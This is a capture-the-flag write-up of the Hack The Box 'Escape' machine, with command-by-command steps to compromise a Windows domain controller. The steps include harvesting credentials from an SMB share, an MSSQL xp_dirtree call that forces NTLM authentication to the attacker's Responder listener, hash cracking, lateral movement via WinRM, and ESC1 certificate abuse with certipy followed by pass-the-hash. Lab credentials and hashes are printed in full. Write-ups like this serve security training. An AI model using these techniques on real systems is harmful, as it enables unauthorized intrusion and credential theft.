HTB - Escape Writeup - no Metasploit
Summary I used credentials found in an SMB share to connect to MSSQL, and captured the NetNTLMv2-SSP hash of the user running the SQL Server service using Responder. From the shell, I moved laterally using credentials found in an error log file. Then, I discovered an AD CS misconfiguration where certificates were issued based on self-declared identity without proper verification, which allowed me to obtain a certificate for the Administrator account and achieve privilege escalation. Recommendation Assuming this were a real environment, I would recommend the following: Remove confidential files from publicly accessible shares. The pdf file should have been removed. Harden the AD CS configuration. The CA should not allow certificates to be issued based on self-declared identity. Additionally, certificate enrollment permissions should be restricted to only the users and groups that require them. Reconnaissance Let’s start reconnaissance with nmap. sudo nmap -sS -Pn -p- —open -n —min-rate 5000 -oA scan_all 10.129.228.253 ports=$(grep -oP ‘\d+/open’ scan_all.gnmap | cut -d/ -f1 | paste -sd,) sudo nmap -sS -Pn -p “$ports” -A -oN scan_deep.txt 10.129.228.253 53(DNS), 88(Kerberos), 389(LDAP) and 445(SMB) are open, so we can conclude that it is Windows with AD service. sudo nmap -sU -Pn —top-ports 100 -oN scan_udp.txt 10.129.228.253 No interesting UDP is open. Enumeration nxc smb 10.129.228.253 Machine name is DC. Domain is sequel.htb. Let’s add the host entry to /etc/hosts echo “10.129.228.253 dc.sequel.htb sequel.htb” | sudo tee -a /etc/hosts Let’s try an anonymous (guest) SMB login against the target and enumerates shares, domain users, and domain groups nxc smb 10.129.228.253 -u ‘guest’ -p ” —shares —users —groups An unusual share is revealed: Public. Let’s investigate the content. smbclient //10.129.228.253/Public -U ‘sequel.htb\guest%’ PDF file is there. Download and see its inside. mget * There is a credential! PublicUser : GuestUserCantWrite1 Let’s enumerate what services this credential is valid for. for p in smb winrm rdp wmi mssql; do for a in "" “—local-auth”; do nxc $p 10.129.228.253 -u ‘PublicUser’ -p ‘GuestUserCantWrite1’ $a; done; done; for p in ssh ftp; do nxc $p 10.129.228.253 -u ‘PublicUser’ -p ‘GuestUserCantWrite1’; done This credentail is valid for MSSQL! We can access its MSSQL by following. impacket-mssqlclient ‘PublicUser:GuestUserCantWrite1@10.129.228.253’ For shell acquisition, I checked the MSSQL service for any suspicious databases or insecure configurations, but nothing was usable. After some research, I found that we can try Responder to capture the NetNTLMv2 hash of the user running the SQL service. Activate responder in Kali. sudo responder -I tun0 -v Have the target SQL Server attempt a directory listing against my Kali machine. EXEC MASTER.sys.xp_dirtree ‘\10.10.17.153\test’, 1, 1 target machine kali machine NTLMv2-SSP Hash is obtained! Let’s crack it. echo ‘sql_svc::sequel:beb8535ba44c71d4:DA07067E4F92AC598FF145B2C2CD5F44:0101000000000000805F4F229855DD016AC43DB8DD1781D00000000002000800510053005000430001001E00570049004E002D0049004C004C0058005A0037005A004E004C0037004F0004003400570049004E002D0049004C004C0058005A0037005A004E004C0037004F002E0051005300500043002E004C004F00430041004C000300140051005300500043002E004C004F00430041004C000500140051005300500043002E004C004F00430041004C0007000800805F4F229855DD01060004000200000008003000300000000000000000000000003000002262E7B6C0A20649E5A5099C96C599C056B22733BDA484706963412EACF2130C0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310037002E003100350033000000000000000000’ > hash.txt hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt Since this task consumes a lot of resources, I ran it on macOS instead. A credentail is revealed: sql_svc : REGGIE1234ronnie . Let’s enumerate what services this credential is valid for. for p in smb winrm rdp wmi mssql; do for a in "" “—local-auth”; do nxc $p 10.129.228.253 -u ‘sql_svc’ -p ‘REGGIE1234ronnie’ $a; done; done; for p in ssh ftp; do nxc $p 10.129.228.253 -u ‘sql_svc’ -p ‘REGGIE1234ronnie’; done It’s valid for WINRM. Login from WINRM. evil-winrm -i 10.129.228.253 -u sql_svc -p REGGIE1234ronnie I checked for any unusual services or folders and found SQLServer folder and an ERRORLOG.BAK file. download ERRORLOG.BAK The file contains a credential as follows. Ryan.Cooper : NuclearMosquito3 Let’s enumerate what services this credential is valid for. for p in smb winrm rdp wmi mssql; do for a in "" “—local-auth”; do nxc $p 10.129.228.253 -u ‘Ryan.Cooper’ -p ‘NuclearMosquito3’ $a; done; done; for p in ssh ftp; do nxc $p 10.129.228.253 -u ‘Ryan.Cooper’ -p ‘NuclearMosquito3’; done It’s valid for WINRM. User.txt is obtained as follows. evil-winrm -i 10.129.228.253 -u Ryan.Cooper -p NuclearMosquito3 type C:\Users\Ryan.Cooper\Desktop\user.txt Privilege Escalation For privilege escalation, I attempted to investigate credentials and Kerberoasting, but found nothing valid. After some research, I found that AD CS (certificate services) misconfigurations could be used to get an administrator shell. After a second look, I noticed that the winPEAS output mentioned a potential vulnerability as follows. Also, I noticed many ssl-cert entries in the nmap output. From what I’ve researched, having multiple certificate entries apparently indicates that the machine is running its own certificate authority (AD CS). Let’s use certipy-ad to check for vulnerability. certipy-ad find -u ‘Ryan.Cooper@sequel.htb’ -p ‘NuclearMosquito3’ -dc-ip 10.129.228.253 -vulnerable […] It indicates that it’s vulnerable for ESC1 which means a low-privileged user can obtain a certificate that identifies them as the Administrator. I referred to HackTricks for the command: https://hacktricks.wiki/en/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.html#misconfigured-certificate-templates---esc1 certipy-ad req -u ‘Ryan.Cooper@sequel.htb’ -p ‘NuclearMosquito3’ -dc-ip 10.129.228.253 -ca ‘sequel-DC-CA’ -template ‘UserAuthentication’ -upn ‘administrator@sequel.htb’ certipy-ad req -u ‘Ryan.Cooper@sequel.htb’ -p ‘NuclearMosquito3’ -dc-ip 10.129.228.253 -ca ‘sequel-DC-CA’ -template ‘UserAuthentication’ -upn ‘administrator@sequel.htb’ certipy-ad auth -pfx ‘administrator.pfx’ -username ‘administrator’ -domain ‘sequel.htb’ -dc-ip 10.129.228.253 This command didn’t work due to the error of Clock shew too great. So, I checked the difference between the target and mine, and adjusted the time using faketime. D=$(ldapsearch -x -H ldap://10.129.228.253 -s base -b "" currentTime 2>/dev/null | awk -F’: ’ ’/^currentTime/{t=$2;print substr(t,1,4)”-“substr(t,5,2)”-“substr(t,7,2)” “substr(t,9,2)”:“substr(t,11,2)”:“substr(t,13,2)}’) ; OFF=$(( $(date -u -d “$D” +%s) - $(date -u +%s) )) ; echo “DC=$D UTC / Difference=+${OFF}s (~$((OFF/3600))h$(( (OFF%3600)/60 ))m)” faketime “+28736 seconds” certipy-ad auth -pfx ‘administrator.pfx’ -username ‘administrator’ -domain ‘sequel.htb’ -dc-ip 10.129.228.253 NTLM Hash is obtained! Check what service we can use. for p in smb winrm rdp wmi mssql; do for a in "" “—local-auth”; do nxc $p 10.129.228.253 -u ‘administrator’ -H ‘a52f78e4c751e5f5e17e1e9f3e58f4ee’ $a; done; done; for p in ssh ftp; do nxc $p 10.129.228.253 -u ‘administrator’ -H ‘a52f78e4c751e5f5e17e1e9f3e58f4ee’; done Finally, we get root.txt through WINRM. evil-winrm -i 10.129.228.253 -u administrator -H a52f78e4c751e5f5e17e1e9f3e58f4ee type C:\Users\Administrator\Desktop\root.txt Lesson Learned Understand AD CS vulnerability and use of certipy.